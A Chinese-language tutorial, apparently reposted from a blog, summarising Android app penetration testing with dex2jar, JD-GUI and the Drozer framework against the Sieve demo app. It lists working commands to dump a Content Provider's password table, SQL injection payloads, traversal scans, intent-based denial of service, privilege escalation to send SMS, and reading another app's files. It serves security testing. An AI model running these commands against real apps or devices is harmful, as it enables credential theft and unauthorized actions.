Android APP 滲透測試---總結


1、apk反編譯得到源代碼

       使用編譯軟件 dex2gar 和 jdgui.jar 對Android APP軟件進行反編譯。具體步驟如下:

     (1)首先將APK文件后綴改為zip並解壓,得到其中的classes.dex,它就是java文件編譯再通過dx工具打包而成的,將classes.dex復制到dex2jar.bat所在目錄dex2jar文件夾。

     (2)在命令行下定位到dex2jar.bat所在目錄,運行dex2jar.bat  classes.dex,生成classes_dex2jar.jar

    首先將要編譯的apk文件后綴修改成 .zip 解壓之后得到  classes.dex 文件,將該文件下使用 dex2jar.bat文件編譯成   . 生成 classes-dex2jar.jar 將生成的該文件導入 jdgui.jar 這樣我們就可以看到APP的源碼了

 

 代碼審計部分基本從這部分開始。

對APP的滲透測試我們需要APP的滲透黑框架來完成。我這里使用的 滲透框架是 Drozer  使用的系統是 AndroL 4b 

2、Drozer滲透測試框架 

       Drozer 有Window版本和 linux版本(虛擬機),我這里使用的是虛擬機  AndroL 4b 

 如何安裝 虛擬機中的環境這個網上有完整的介紹。這里不再寫。

(1)啟動

      連接到虛擬機:   adb connect 127.0.0.1:5554 (如果沒有使用虛擬機可以不用這步)

     PC上使用adb工具進行端口轉發,轉發數據到 Drozer 使用的端口 31415

      adb forward tcp:31415  tcp:31415 

     開啟 embedded server-enable

      drozer console connect

 安裝 要測試的APP軟件到模擬器上 ,安裝方法使用 adb install app.apk 

 安裝完成呢之后在 模擬器喪看到APP已經安裝成功

  首先我們在 Drozer框架下對被測試的APP進行 信息的收集       run app.package.list

這里我以公開組件漏洞為例子,進行 說明安全審計方法:

     組件 Content Provider配置錯誤會導致數據泄露。content Provider 以表格的形式把數據展現給外部的應用, 每個 Content Provider都對應一個 “ Content://” 開頭的特定的URL, 任何應用都可以通過這個URL操作 Content Provider應用的數據庫。如果有的應用對權限控制不當會導致信息泄露的問題。

 

 進一步使用 Mercury 獲取各個URL的數據  

 安全滲透測試完成的APP我們如何進行卸載了?   使用 adb  uninstall  <.packagename > 之前必須切換到 adb shell  ,之后才可以卸載。

 

 在滲透測試的時候借助其他工具  像burp Suite、  SDK manage、Wireshark等工具對模擬器上的APP進行數據包抓包攔截,以及流量的分析。

 具體的安全檢查點可以對照下面的操作去檢查。

1.獲取包名
  dz> run app.package.list -f sieve
  com.mwr.example.sieve
  2.獲取應用的基本信息
  run app.package.info -a com.mwr.example.sieve
  3.確定攻擊面
  run app.package.attacksurface com.mwr.example.sieve
  4.Activity
  (1)獲取activity信息
  run app.activity.info -a com.mwr.example.sieve
  (2)啟動activity
  run app.activity.start --component com.mwr.example.sieve
  dz> help app.activity.start
  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
  [--mimetype MIMETYPE]
  5.Content Provider
  (1)獲取Content Provider信息
  run app.provider.info -a com.mwr.example.sieve
  (2)Content Providers(數據泄露)
  先獲取所有可以訪問的Uri:
  run scanner.provider.finduris -a com.mwr.example.sieve
  獲取各個Uri的數據:
  run app.provider.query
  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
  查詢到數據說明存在漏洞
  (3)Content Providers(SQL注入)
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
  報錯則說明存在SQL注入。
  列出所有表:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  獲取某個表(如Key)中的數據:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  (4)同時檢測SQL注入和目錄遍歷
  run scanner.provider.injection -a com.mwr.example.sieve
  run scanner.provider.traversal -a com.mwr.example.sieve
  6 intent組件觸發(拒絕服務、權限提升)
  利用intent對組件的觸發一般有兩類漏洞,一類是拒絕服務,一類的權限提升。拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提升將使得沒有該權限的應用可以通過intent觸發擁有該權限的應用,從而幫助其完成越權行為。
  1.查看暴露的廣播組件信息:
  run app.broadcast.info -a com.package.name  獲取broadcast receivers信息
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  2.嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras):
  run app.broadcast.send 通過intent發送broadcast receiver
  (1)   空action
  run app.broadcast.send --component 包名 ReceiverName
  run app.broadcast.send --component 包名 ReceiverName
  (2)   空extras
  run app.broadcast.send --action android.intent.action.XXX
  3.嘗試權限提升
  權限提升其實和拒絕服務很類似,只不過目的變成構造更為完整、更能滿足程序邏輯的intent。由於activity一般多於用戶交互有關,所以基 於intent的權限提升更多針對broadcast receiver和service。與drozer相關的權限提升工具,可以參考IntentFuzzer,其結合了drozer以及hook技術,采用 feedback策略進行fuzzing。以下僅僅列舉drozer發送intent的命令:
  (1)獲取service詳情
  run app.service.info -a com.mwr.example.sieve
  不使用drozer啟動service
  am startservice –n 包名/service名
  (2)權限提升
  run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
  7.文件操作
  列出指定文件路徑里全局可寫/可讀的文件
  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  8.其它模塊
  shell.start 在設備上開啟一個交互shell
  tools.file.upload / tools.file.download 上傳/下載文件到設備
  tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進制文件

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM